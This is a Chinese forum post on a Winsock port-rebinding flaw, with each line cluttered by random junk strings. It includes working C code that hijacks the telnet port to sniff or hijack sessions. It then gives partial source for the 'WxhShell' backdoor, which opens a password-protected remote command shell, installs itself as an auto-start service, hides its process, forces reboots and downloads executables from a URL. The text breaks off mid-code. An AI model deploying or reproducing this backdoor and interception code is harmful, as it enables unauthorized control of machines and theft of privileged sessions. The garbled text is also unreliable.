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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Cn"_x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _0cCTQE  
7xF)\um  
  saddr.sin_family = AF_INET; n;@.eC,T/  
jKh:}yl4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @V?T'@W7D  
^ps6\>=0cW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A%[e<vj9  
( ]E0fjk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i)iK0g"2  
0g 2?  
  这意味着什么?意味着可以进行如下的攻击: c"O4=[N: ;  
9^L{)t>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N \~}`({  
!>:SPt l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0OXl`V`w  
YpOcLxFL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PglSQ2P  
xH\!j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $7QGi|W*k  
/78zs-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &SG5 f[  
E^iShe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +v2)'?BS  
T@Bu Fr`]<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SK5_^4  
$>8O2p7W  
  #include XDYQV.Bv  
  #include (@1>G ^%  
  #include 6b7c9n Z  
  #include    %[4u #G`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s{Og3qUy  
  int main() y6dQ4Whv&  
  { {Rdh4ZKh  
  WORD wVersionRequested; g~ii^[W  
  DWORD ret; d5>EvK U  
  WSADATA wsaData; soRY M  
  BOOL val; 5hHLC7tT9  
  SOCKADDR_IN saddr; 4(91T  
  SOCKADDR_IN scaddr; e-Oz`qW~  
  int err; nC%<BatQ  
  SOCKET s; ]K3bDU~  
  SOCKET sc; Hd\. ,2a"  
  int caddsize; G|*&owJ  
  HANDLE mt; !F:mD ZeY  
  DWORD tid;   No8-Hm  
  wVersionRequested = MAKEWORD( 2, 2 ); S0Ur{!9\#^  
  err = WSAStartup( wVersionRequested, &wsaData ); d[{!^,%x"  
  if ( err != 0 ) { QH,Fw$1  
  printf("error!WSAStartup failed!\n");  m^\&v0  
  return -1; ny%$BQM=  
  } ;"2VU"  
  saddr.sin_family = AF_INET; 7|o!v);uR  
   $|g ;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cV"Ov@_.k  
jJaMkF;f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1S(n3(KRk$  
  saddr.sin_port = htons(23); )@p?4XsT4J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,J '_Vi  
  { 8f<y~L_(`  
  printf("error!socket failed!\n"); [K@(,/$  
  return -1; :.tL~% q  
  } RH:vd|q+  
  val = TRUE; x#5vdBf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oeZUd}P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H0!$aO  
  { C(9"59>{]y  
  printf("error!setsockopt failed!\n"); DSRmFxkk  
  return -1; A|,qjiEJCc  
  } IRdR3X56  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \>>P%EU,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e/_QS}OA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SuB8mPn  
|d z2Drc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7AS_Aw1L  
  { :\I*_00!  
  ret=GetLastError(); Y+o\?|q-E  
  printf("error!bind failed!\n"); SSxz1y  
  return -1; ar\ K8mj  
  } NM^uP+uS  
  listen(s,2);  VM:|I~gJ  
  while(1) 8MI8~  
  { 9pPLOXr ,  
  caddsize = sizeof(scaddr);  \m~p;B  
  //接受连接请求 G@`ZDn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3z, Ci$[  
  if(sc!=INVALID_SOCKET) _;U%`/T b  
  { |` ?&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _G-y{D_S&  
  if(mt==NULL)  BdiV  
  { AC'_#nPL#  
  printf("Thread Creat Failed!\n"); a$h^<D ^  
  break; v-SX PL]_^  
  } Ll-QhcC$  
  } ~b m'i%$k  
  CloseHandle(mt); rjiHP;-t1  
  } ^H7xFd|>  
  closesocket(s); W;cY g.W2  
  WSACleanup(); W1M322]>L  
  return 0; ."=p\:^j*  
  }   G'p322Bu  
  DWORD WINAPI ClientThread(LPVOID lpParam) $.kJBRgV*  
  { tK .1 *  
  SOCKET ss = (SOCKET)lpParam; ;Vc|3  
  SOCKET sc; +-(,'slov  
  unsigned char buf[4096]; |,5|ZpgL  
  SOCKADDR_IN saddr; rm9>gKN;#  
  long num; p4MWX12  
  DWORD val; qljsoDG  
  DWORD ret; <qpzs@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j*gJP !  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qbeUc5`1  
  saddr.sin_family = AF_INET; YI;iG[T,&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T]Ai{@i  
  saddr.sin_port = htons(23); D>7J[ Yxg-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mB"I(>q*M  
  { |%F,n2  
  printf("error!socket failed!\n"); LtX53c  
  return -1; MjQju@  
  } ^d{5GK'  
  val = 100; /z4c>)fV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZK'46lh  
  { Y 0Fq -H  
  ret = GetLastError(); %+Ze$c}X  
  return -1; DE/SIy?  
  } <7F-WR/2n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z:7eroZP  
  { vg[3\!8z[  
  ret = GetLastError(); 4F G0'J&hw  
  return -1;  jF0"AA  
  } |,:p[Oy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &=jPt%7#M  
  { K_YOp1  
  printf("error!socket connect failed!\n"); |r Aot2  
  closesocket(sc); QwWd"Of  
  closesocket(ss); Vi-Ph;6[  
  return -1; ;z.niX.fx  
  }  *0^~@U  
  while(1) {FI*oO1A~  
  { 2<I=xWwFA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >h;]rMD!|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wV==sV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qc @cd i  
  num = recv(ss,buf,4096,0); *$-X&.h[  
  if(num>0) {<gv1Yht  
  send(sc,buf,num,0); IJGw<cB]+  
  else if(num==0) 94ruQ/  
  break; X\ P%C  
  num = recv(sc,buf,4096,0); "Mj#P9  
  if(num>0) .waw=C  
  send(ss,buf,num,0); ^wd@mWxx  
  else if(num==0) b-VygLN  
  break; +`k30-<P  
  } 2wY|E<E  
  closesocket(ss); >bf.T7wy  
  closesocket(sc); e7@ m i  
  return 0 ; %5gdLm!p  
  } "Esl I  
Mg`!tFe3  
H)D|lt5xy  
========================================================== jjj<B'zt  
H575W"53  
下边附上一个代码,,WXhSHELL p  lnH  
/_qq(,3  
========================================================== )xV37]  
FHr)xqo=~  
#include "stdafx.h" ewk7:zS/?  
tjx8 UgSi  
#include <stdio.h> 3?*d v14  
#include <string.h> K/ On|C  
#include <windows.h> |z=`Ur@)  
#include <winsock2.h> wg?}c ;  
#include <winsvc.h> W|>jj$/o  
#include <urlmon.h>  *XhlIQ  
r/!,((Z\  
#pragma comment (lib, "Ws2_32.lib") xOe1v9<  
#pragma comment (lib, "urlmon.lib") "i;.>  
U~: H>  
#define MAX_USER   100 // 最大客户端连接数 i86:@/4~F  
#define BUF_SOCK   200 // sock buffer Hloe7+5UD  
#define KEY_BUFF   255 // 输入 buffer N^rpPq  
KNAvLcg  
#define REBOOT     0   // 重启 rc8HZ  
#define SHUTDOWN   1   // 关机 :.*Q@X}-I  
>+dS PI  
#define DEF_PORT   5000 // 监听端口 cpa" ,8  
EE  1D>I  
#define REG_LEN     16   // 注册表键长度 YP02/*'  
#define SVC_LEN     80   // NT服务名长度 kT@ITA22  
PK:Lv15"r  
// 从dll定义API HqWWWCWal  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4P3RRS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~DK.Y   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f 3H uT=n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }gv'r ";  
89&9VX^A  
// wxhshell配置信息 *B|hRZka1A  
struct WSCFG { u;q Q/Ftb  
  int ws_port;         // 监听端口 W/2y; @  
  char ws_passstr[REG_LEN]; // 口令 MF"*xr v  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7He"IJ  
  char ws_regname[REG_LEN]; // 注册表键名 gtuSJ+up  
  char ws_svcname[REG_LEN]; // 服务名 3%)cUkD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]"T157F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FvT4?7-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8`*5[ L~~/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E"E(<a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t08U9`w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F `:Q  
|-=-/u1  
}; ">Qxb.Y}  
`C>h]H(  
// default Wxhshell configuration ;&j'`tP  
struct WSCFG wscfg={DEF_PORT, j>JBZ#g  
    "xuhuanlingzhe", ~},H+A!?  
    1, nr]=O`Mvh  
    "Wxhshell", epnZGz,A  
    "Wxhshell", ELwXp|L  
            "WxhShell Service", oi0O4J%H  
    "Wrsky Windows CmdShell Service", eW8cI)wU  
    "Please Input Your Password: ", 961&rR}d  
  1, Lmjd,t  
  "http://www.wrsky.com/wxhshell.exe", V Dnrm*  
  "Wxhshell.exe" cY!Y?O  
    }; DL,R~  
-4QZ/*  
// 消息定义模块 _]*[TGap  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X40gJV<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c(hC'Cp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IA0 vSF:  
char *msg_ws_ext="\n\rExit."; bsu?Q'q  
char *msg_ws_end="\n\rQuit."; |iJz[%  
char *msg_ws_boot="\n\rReboot..."; s>G6/TTH6  
char *msg_ws_poff="\n\rShutdown..."; O])vR<[  
char *msg_ws_down="\n\rSave to "; R,D/:k'~k  
yam'LF  
char *msg_ws_err="\n\rErr!"; -!+i ^r  
char *msg_ws_ok="\n\rOK!"; ^kNVQJiZyG  
;fqp!|J  
char ExeFile[MAX_PATH]; D?E VzG  
int nUser = 0; Eo$l-Hl5=  
HANDLE handles[MAX_USER]; %u%;L+0Q[  
int OsIsNt; 1<@lM8&.kO  
;L87 %P(.  
SERVICE_STATUS       serviceStatus; 3SWDPy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VT>-*  
$]?pAqU\  
// 函数声明 ;0_T\{H"nR  
int Install(void); tz65Tn_M  
int Uninstall(void); w#9.U7@.  
int DownloadFile(char *sURL, SOCKET wsh); 1<x5{/CZ  
int Boot(int flag); WClprSl8  
void HideProc(void); C|H`.|Q  
int GetOsVer(void); C,;<SV2#  
int Wxhshell(SOCKET wsl); L~+aD2 E {  
void TalkWithClient(void *cs); d.ywH;  
int CmdShell(SOCKET sock); XKp(31])  
int StartFromService(void); P `<TO   
int StartWxhshell(LPSTR lpCmdLine); 2FL_!;p;2E  
b^[>\s'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xz@*V>QT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); si%V63^lN  
zhE4:g9v  
// 数据结构和表定义 LkeYzQH/l  
SERVICE_TABLE_ENTRY DispatchTable[] = e+Mm!\ ;`  
{ :zC=JvKT  
{wscfg.ws_svcname, NTServiceMain}, i]zh8|">  
{NULL, NULL} U#Kw+slM  
}; +:#g6(P]  
4myikeUR_  
// 自我安装 9[{q5  
int Install(void) fX:G;vYn  
{ mMZ=9 ?m  
  char svExeFile[MAX_PATH]; eG1A7n'6W  
  HKEY key; T8LvdzS  
  strcpy(svExeFile,ExeFile); /;TD n>lq  
#I ,c'Vj  
// 如果是win9x系统,修改注册表设为自启动 6EWCJ%_  
if(!OsIsNt) { ,9:v2=C_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P'5Lu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bMqS:+  
  RegCloseKey(key); M(^IRI-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *}r6V"pH~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 99zMdo S  
  RegCloseKey(key); <+ <o X"I  
  return 0; %AgCE"!  
    } UA0R)BH'  
  } BhyLcUBuB  
} 1{xkAy0  
else { >]bS"S  
g[{rX4~|  
// 如果是NT以上系统,安装为系统服务 CZv^,O(M?2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F>u/Lh!  
if (schSCManager!=0) )A;jBfr  
{ ^3&-!<*  
  SC_HANDLE schService = CreateService Q|Pm8{8  
  ( )/v`k>E  
  schSCManager, 9 Xh<vh8&  
  wscfg.ws_svcname, (yeN> x}_  
  wscfg.ws_svcdisp, Yj>\WH  
  SERVICE_ALL_ACCESS, H#`&!p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~r]$(V n  
  SERVICE_AUTO_START, P_N},Xry  
  SERVICE_ERROR_NORMAL, :rmi8!o  
  svExeFile, n{F&GE="  
  NULL, M w+4atO4[  
  NULL, aOW~! f/M  
  NULL, w4&-9[@Y  
  NULL, ,Hc,]TPC4  
  NULL M<)Vtn  
  ); 5sMyH[5zY  
  if (schService!=0) ?rwHkPJ{*  
  { B{_-k  
  CloseServiceHandle(schService); k*T&>$k}^  
  CloseServiceHandle(schSCManager); s[/)v:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bk4|ik}  
  strcat(svExeFile,wscfg.ws_svcname); gG6BEsGa,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D|5Fo'O^AV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MW.,}f  
  RegCloseKey(key); {$-\)K  
  return 0; ^$\#aTyFK  
    } hrnY0  
  } ez*O'U  
  CloseServiceHandle(schSCManager); ZltY_5l  
} BO=j*.YKy  
} T`^LWc"  
Q92hI"  
return 1; /SYzo4(  
} "/U~j4O  
so\8.(7n  
// 自我卸载 h]okY49hY  
int Uninstall(void) 8U&93$  
{ X6c['Zrc  
  HKEY key; q1o)l  
$t$YdleIH  
if(!OsIsNt) {  'x\{sv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8:(e~? f6  
  RegDeleteValue(key,wscfg.ws_regname); FZhjI 8+,~  
  RegCloseKey(key); ?f[U8S}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _:,U$W  
  RegDeleteValue(key,wscfg.ws_regname); (&Z`P  
  RegCloseKey(key); lvZ:Aw r  
  return 0; n*fsdo~  
  } :>otlI<0t  
} :Qra9; Y  
} % 2lcc"'  
else { |#!P!p}  
vy330SQPo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g{06d~Y  
if (schSCManager!=0) ,=kQJ|  
{ ]):kMRv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /_*L8b  
  if (schService!=0) u0& dDZ  
  { DR6 OR B7  
  if(DeleteService(schService)!=0) { @z)_m!yV1  
  CloseServiceHandle(schService); i.`RQZ$,/  
  CloseServiceHandle(schSCManager); (Q09$  
  return 0; \;s mH;m  
  } c,I|O' &k  
  CloseServiceHandle(schService); p#95Q  
  } _n+./ B  
  CloseServiceHandle(schSCManager); ;eeu 9_$  
} )FrXD3 p  
} GM<r{6Qy  
" Q~-C|x  
return 1; F$Q@UVA  
} b 64~Y|8  
)cy_d!  
// 从指定url下载文件 isP4*g&%x  
int DownloadFile(char *sURL, SOCKET wsh) G6b\4}E  
{ %r*zd0*<n1  
  HRESULT hr; "sf]I[a  
char seps[]= "/"; ~\z\f} w  
char *token; OW12m{  
char *file; 5b9>a5j1;  
char myURL[MAX_PATH]; Px)/`'D  
char myFILE[MAX_PATH]; 3Yd)Fm  
u&>o1!c*P  
strcpy(myURL,sURL); FFNv'\)  
  token=strtok(myURL,seps); e_BOzN~c  
  while(token!=NULL) J 8"Cw<=O  
  { uz1t uX_  
    file=token; h.6yI  
  token=strtok(NULL,seps); ^xGdRa U#  
  } In)#`E` g.  
j/R  
GetCurrentDirectory(MAX_PATH,myFILE); ~pqp`  
strcat(myFILE, "\\"); RJ%~=D  
strcat(myFILE, file); @Kd lX>i  
  send(wsh,myFILE,strlen(myFILE),0); uL!{xuN  
send(wsh,"...",3,0); LV&tu7c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^zv28Wq>  
  if(hr==S_OK) ~T')s-,l,:  
return 0; ?hS n)  
else @^vVou_  
return 1; C`D5``4  
xOjCF&W  
} 1@H3!V4  
eD*"#O)W  
// 系统电源模块 (d[)U<  
int Boot(int flag) )ll`F7B-  
{ e/WR\B'1  
  HANDLE hToken; ;fhFv&`mE  
  TOKEN_PRIVILEGES tkp; bf `4GD(  
,2)LH 'Xx  
  if(OsIsNt) { 6P' m0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PCs+` WP!M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6ZVJ2xs[%  
    tkp.PrivilegeCount = 1; 74%,v|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -O_5OT4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =F ZvtcCa  
if(flag==REBOOT) { itM6S$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) un[Z$moN"  
  return 0; im_W0tGvF  
} 16o3ER  
else { ;KmSz 1A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k@AOE0m  
  return 0; fw_V'l#\  
} gQ*0Mk  
  } (?&X<=|"  
  else { \{n]&IjA  
if(flag==REBOOT) { dKw* L|5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jjkiic+tDN  
  return 0; S 1|[}nYP  
} k oC2bX  
else { :a3Pnq$]E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r9@W8](\  
  return 0; w/N.#s^  
} `Y/DttjL  
} 2<y E3:VX  
iD_NpH q  
return 1; G6Z2[Ej1  
} IyYC).wU}  
Jk|c!,!  
// win9x进程隐藏模块 1Af~6jz  
void HideProc(void) Se* GR"Z+  
{ on+ c*#  
NZ'S~Lr   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _odP:  
  if ( hKernel != NULL ) x\!Qe\lE  
  { N9Yc\?_NU_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +BM(0M+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9~<HTH  
    FreeLibrary(hKernel); O(h4;'/E  
  } g% #" 5Kr  
Ezm ~SY  
return; !Z,h5u\.w  
} MMD4b}p  
I' ej?~  
// 获取操作系统版本 0eQyzn*98  
int GetOsVer(void) %.BbPR7?h  
{ D(s[=$zua  
  OSVERSIONINFO winfo; N0sf V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sbrU;X_S  
  GetVersionEx(&winfo); uY,&lX+!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o';sHa'  
  return 1; \D<rT)Tl  
  else +%=Ao6/#  
  return 0; *]p]mzc  
} qXkc~{W_  
Ni'vz7j  
// 客户端句柄模块 g9H~\w  
int Wxhshell(SOCKET wsl) ot]E\g+!  
{ Mje6Q  
  SOCKET wsh; kV(}45i]s  
  struct sockaddr_in client; bPAp0}{Fu  
  DWORD myID; }L{en  
Fa,a)JY>  
  while(nUser<MAX_USER) > F&Wuf  
{ ;M{ @23?`  
  int nSize=sizeof(client); ^TJn&k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =4"D8 UaHr  
  if(wsh==INVALID_SOCKET) return 1; 8 =FP92X  
:t8(w>oW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B@Ez,u5  
if(handles[nUser]==0) !iWPldn&]  
  closesocket(wsh); suN{)"  
else '`#2'MXG  
  nUser++; p)N=  
  } n|Iy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }a,j1r_Hl&  
6n]fr9f  
  return 0; K3$83%E  
} fmXA;^%  
(n05MwKu\  
// 关闭 socket x'{L%c>L  
void CloseIt(SOCKET wsh) AqZ{x9g!  
{ -~~"}u  
closesocket(wsh); J4#t1P@Na  
nUser--; l Ot3^`  
ExitThread(0); 7c1xB.g   
} ` /#f8R1g  
zdrCr0Rx,  
// 客户端请求句柄 <f&z~y=  
void TalkWithClient(void *cs) .i>; ?(GH  
{ oJ\UF S  
v=EV5#A  
  SOCKET wsh=(SOCKET)cs; Q<3=s6@T  
  char pwd[SVC_LEN]; &[f.;1+C  
  char cmd[KEY_BUFF]; (|I:d!>:U  
char chr[1]; X}Bo[YoY$  
int i,j; .p  NWd  
oA%8k51>~K  
  while (nUser < MAX_USER) { +!6aB|-  
 AC@WhL  
if(wscfg.ws_passstr) { Lg0Vn&k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l)m\i_r:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y Q-&+16^  
  //ZeroMemory(pwd,KEY_BUFF); :p0|4g  
      i=0; 3JVENn9  
  while(i<SVC_LEN) { ,f8<s-y4Sg  
~F[}*%iR  
  // 设置超时 RO+B/)~0<  
  fd_set FdRead; 55MrsiW  
  struct timeval TimeOut; #5-5N5-1  
  FD_ZERO(&FdRead); &4Q(>"iL4  
  FD_SET(wsh,&FdRead); wYQTG*&h  
  TimeOut.tv_sec=8; =p,+a/*  
  TimeOut.tv_usec=0; ?piv]Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =QFnab?N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7pMQ1- (  
qq" &Bc>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _xT=AF9~o  
  pwd=chr[0]; 2?9 FFlX  
  if(chr[0]==0xd || chr[0]==0xa) { NWWag}  
  pwd=0; P0NGjS|Z{  
  break; KKP}fN  
  } {U1 j@pKm  
  i++; X~|P  
    } Pz#D9.D0  
ngJi;9X8*t  
  // 如果是非法用户,关闭 socket ~L$B]\/A5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ivg:`$a[  
} 8 #fzL7  
"9 ,z"k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5$Lo]H*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UQ6UZd37   
b* Ny  
while(1) { M:x?I_JG8  
l^aG"")TH.  
  ZeroMemory(cmd,KEY_BUFF); "D0:Y(\  
:U)>um34e  
      // 自动支持客户端 telnet标准   EV{kd.=f  
  j=0; g&9E>wT  
  while(j<KEY_BUFF) { #RAez:BI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H%N !;Jz=  
  cmd[j]=chr[0]; zy\p,  
  if(chr[0]==0xa || chr[0]==0xd) { "^E/N},%u5  
  cmd[j]=0; ,4W| e!  
  break; dYEF,\Z'  
  } > w:+nG/r  
  j++; BzBij^h  
    } d~+8ui{-U  
pW ]+a0j  
  // 下载文件 tYV%izE  
  if(strstr(cmd,"http://")) { `L p3snS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Y.&G,?  
  if(DownloadFile(cmd,wsh)) bB^% O^:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sute%6yM  
  else )9'eckt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '@enl]J  
  } wq &|V  
  else { 3=o^Vv  
P Z5BtDm  
    switch(cmd[0]) { i*3 4/  
  iC-WQkQY  
  // 帮助 N)'oX3?x  
  case '?': { Mda~@)7$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bg.f';C  
    break; 9_Tk8L#  
  } *p!K9$4  
  // 安装 g-^Cf   
  case 'i': { dm3cQ<0  
    if(Install()) c\GJfsVk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XVXiiQ^  
    else i8R.Wl$l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dhl[JC~ _  
    break; :$Lu V5  
    } }'HJVB_  
  // 卸载 0l#{7^e  
  case 'r': { U9:?d>7  
    if(Uninstall()) z 9mmZqhK\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gb 6 gIFq;  
    else 2w`kh=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BNU]NcA#*,  
    break; C6Qnn@waYb  
    } d;(&_;  
  // 显示 wxhshell 所在路径 }W&hPC  
  case 'p': { 4ujw/`:/m  
    char svExeFile[MAX_PATH]; p)}iUU2N  
    strcpy(svExeFile,"\n\r"); I!bzvPJ]xc  
      strcat(svExeFile,ExeFile); P;jl!o$  
        send(wsh,svExeFile,strlen(svExeFile),0); >L$g ;(g  
    break; s=`1wkh0  
    } e6s-;  
  // 重启 e-<fkU9^W  
  case 'b': { ju8mO&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FG8genCH@  
    if(Boot(REBOOT)) >@^z?nb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+A`n21,O  
    else { ]>h2h?2te  
    closesocket(wsh); CL/8p;  
    ExitThread(0); uiq)?XUKv  
    } vPuPSE%M  
    break; N*JWd  
    } [.tqgU  
  // 关机 :w_J/k5Zd  
  case 'd': { ,2u-<8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;zI;oY#.y  
    if(Boot(SHUTDOWN)) Z[8{V  
